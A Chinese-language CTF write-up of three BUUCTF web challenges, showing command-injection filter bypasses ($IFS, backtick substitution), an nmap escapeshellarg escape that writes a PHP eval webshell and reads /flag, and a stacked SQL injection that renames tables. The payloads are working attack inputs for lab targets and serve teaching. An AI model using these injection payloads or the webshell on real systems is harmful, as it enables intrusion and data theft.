buuctf - web - write up(待更新
[GXYCTF2019]Ping Ping Ping

发现是可以根据ip的值来进行传递
先看看有什么文件在路径下
url/?ip=127.0.0.1;ls

直捣黄龙,cat flag.php,发现过滤了空格

过滤空格的操作(这些姿势来自网上的师傅,受教了
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字都可以
$<
$<>
{cat,flag.php} //用逗号实现了空格的功能
%20
%09
//payload url/?ip=127.0.0.1;cat$IFS$1flag.php
发现flag又被过滤了,看看index.php文件

url/?ip=127.0.0.1;cat$IFS$1index.php
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
发现flag四个字符的拼接方式都被过滤了
方法一:
使用$a 任意字符覆盖的方法,获得flag
//payload url/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

方法二:网上师傅的姿势yyds
//payload url/?ip=127.0.0.1;cat$IFS$9`ls`
将
ls的结果当成cat的参数,那样就不用出现flag这个参数了。
拓展补充:
A&B: 顺序执行多条命令,而不管命令是否执行成功
A&&B: 顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令
A|B: 管道命令,如:dir *.* /s/a | find /c \".exe\" 表示:先执行 dir 命令,对其输出的结果执行后面的 find 命令
A||B: 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
命令执行漏洞利用(其中'&&'可进行替换):
127.0.0.1 && dir 文件路径
127.0.0.1 && ipconfig 网卡
127.0.0.1 && arp -a arp表
127.0.0.1 && regedit 注册表
127.0.0.1 && netstat -ano 端口信息
Web - [网鼎杯 2020 朱雀组]Nmap
考察点:单引号逃逸、nmap写文件、-iL读取扫描文件、escapeshellarg绕过
打开是nmap的命令
nmap命令:
//url
nmap写文件:
- -oN 标准保存
- -oX XML保存
- -oG Grep保存
- -oA 保存到所有格式
-iL扫描读取文件
-iL 参数可以实现NMAP读取任意文件的操作
escapeshellarg()
假设传入的参数为 127.0.0.1‘ -a -b -c x=1 通过escapeshellarg函数处理过后, 变成 127.0.0.1’\‘' -a -b -c x=1' 简而言之就是将其中的单引号转义,然后再用单引号将内容给包含起来
那么由上面的知识点形成的payload如下:
payload1
//payload 1 //注意单引号为英文下的字符 //利用了-iL的任意读文件后保存在目录下 127.0.0.1 | ‘ -iL /flag -oN 1.txt ’
访问1.txt,即可查看到flag

payload2
//payload 2 //既然可以传入,那么是不是可以传入一句话木马 127.0.0.1 | ' <?php @eval($_POST["hack"]);?> -oG hack.php ' //发现php被过滤了,“=”即为短标签,可以绕过php的过滤 127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG 2.phtml '
访问2.phtml 即可看见正常传入
使用蚁剑连接,根目录下发现flag文件


Web - 强网杯2019[随便注]
涉及考点:堆叠注入
先尝试
1' order by 2;# //有反馈 1' order by 3;# //报错


看看有什么表
1';show tables;# //#的作用是把后面的sql语句注释掉

发现了两个表,看一下表内有什么
tips:如果查看的表名是字符型(数字)的话,需要添加反引号,即波浪线(~)这个按键


小结:
words有两个属性,id \ data
1911****** 只有一个属性flag
由此可以得出,输入框查询的内容就是words表的内容
攻击姿势:
//payload1
//利用更换表明的操作
1';rename table `words` to words2; //将words改名为words2
rename table `1919810931114514` to `words`; //将191******改名为words
alter table words change flag id varchar(100); //将改名后的191****添加一列id
show tables; //显示表的内容
show columns from words;# //查询words的字段
//然后用万能密码查询出答案 1‘ or 1=1;#


浙公网安备 33010602011771号